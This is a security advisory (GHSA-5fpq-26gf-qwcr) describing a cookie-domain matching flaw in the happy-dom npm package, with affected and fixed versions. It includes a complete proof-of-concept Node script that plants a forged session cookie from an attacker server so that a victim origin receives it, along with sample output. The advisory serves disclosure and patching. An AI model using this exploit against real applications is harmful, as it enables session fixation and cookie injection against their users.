GHSA-5fpq-26gf-qwcr

Suggest an improvement
Source
https://github.com/advisories/GHSA-5fpq-26gf-qwcr
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-5fpq-26gf-qwcr/GHSA-5fpq-26gf-qwcr.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-5fpq-26gf-qwcr
Aliases
  • CVE-2026-118661
Published
2026-10-28T21:06:13Z
Modified
2026-10-28T21:15:05Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N CVSS Calculator
Summary
Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies
Details

Summary

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run:

node poc-happydom-cookie-domain.js

Full proof-of-concept source (poc-happydom-cookie-domain.js):

// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');

const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;

const attacker = http.createServer((req, res) => {
  if (req.method === 'OPTIONS') {
    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the
    // attacker trivially answers it — an attacker-controlled server always can)
    res.writeHead(204, {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'GET, OPTIONS',
      'Access-Control-Allow-Headers': '*'
    });
    res.end();
    return;
  }
  res.writeHead(200, {
    'content-type': 'image/gif',
    'Access-Control-Allow-Origin': '*',
    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
    // the request-host; localhost is also on the Mozilla PSL).
    'Set-Cookie': attackerSetCookie
  });
  res.end('GIF89a');
});

const victim = http.createServer((req, res) => {
  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ ok: true, user: 'alice' }));
});

function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }

async function runScenario(scenario) {
  victimReceivedCookies = [];
  const win = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: {
      enableJavaScriptEvaluation: true,
      suppressInsecureJavaScriptEnvironmentWarning: true
    }
  });
  try {
    if (scenario === 'no-plant-control') {
      // Control: app NEVER contacts attacker -> victim must receive NO cookie
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else if (scenario === 'honest-domain-control') {
      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)
      // -> cookie must NOT leak to localhost victim
      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else {
      // attack: app fetches attacker content (scraping/SSR/third-party resource)
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    }
    await sleep(150);
    return victimReceivedCookies;
  } finally {
    win.happyDOM.abort();
  }
}

async function main() {
  await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));
  await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));

  console.log('=== happy-dom cookie-domain scoping PoC ===\n');

  const attack = await runScenario('attack');
  console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');
  attack.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
  const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));
  console.log(`  -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);

  const noPlant = await runScenario('no-plant-control');
  console.log('\n[CONTROL] app never contacts attacker');
  noPlant.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  const honest = await runScenario('honest-domain-control');
  console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');
  honest.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)
  const win2 = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }
  });
  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!
  const readBack = win2.document.cookie;
  console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);
  console.log(`  -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);
  win2.happyDOM.abort();

  // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)
  const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');
  const matchesBoundary = CookieURLUtility.cookieMatchesURL(
    { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },
    new URL('https://notexample.com/')
  );
  console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);
  console.log(`  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);

  attacker.close();
  victim.close();
  process.exit(0);
}

main().catch((e) => { console.error(e); process.exit(1); });

Observed output (verbatim, Node 24.15.0, Windows):

[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true
  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match

Impact

Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.

Database specific
{
    "cwe_ids":  [
        "CWE-565"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-28T21:06:13Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}
References

Affected packages

npm / happy-dom

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
20.14.6

Database specific

last_known_affected_version_range
"<= 20.14.5"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-5fpq-26gf-qwcr/GHSA-5fpq-26gf-qwcr.json"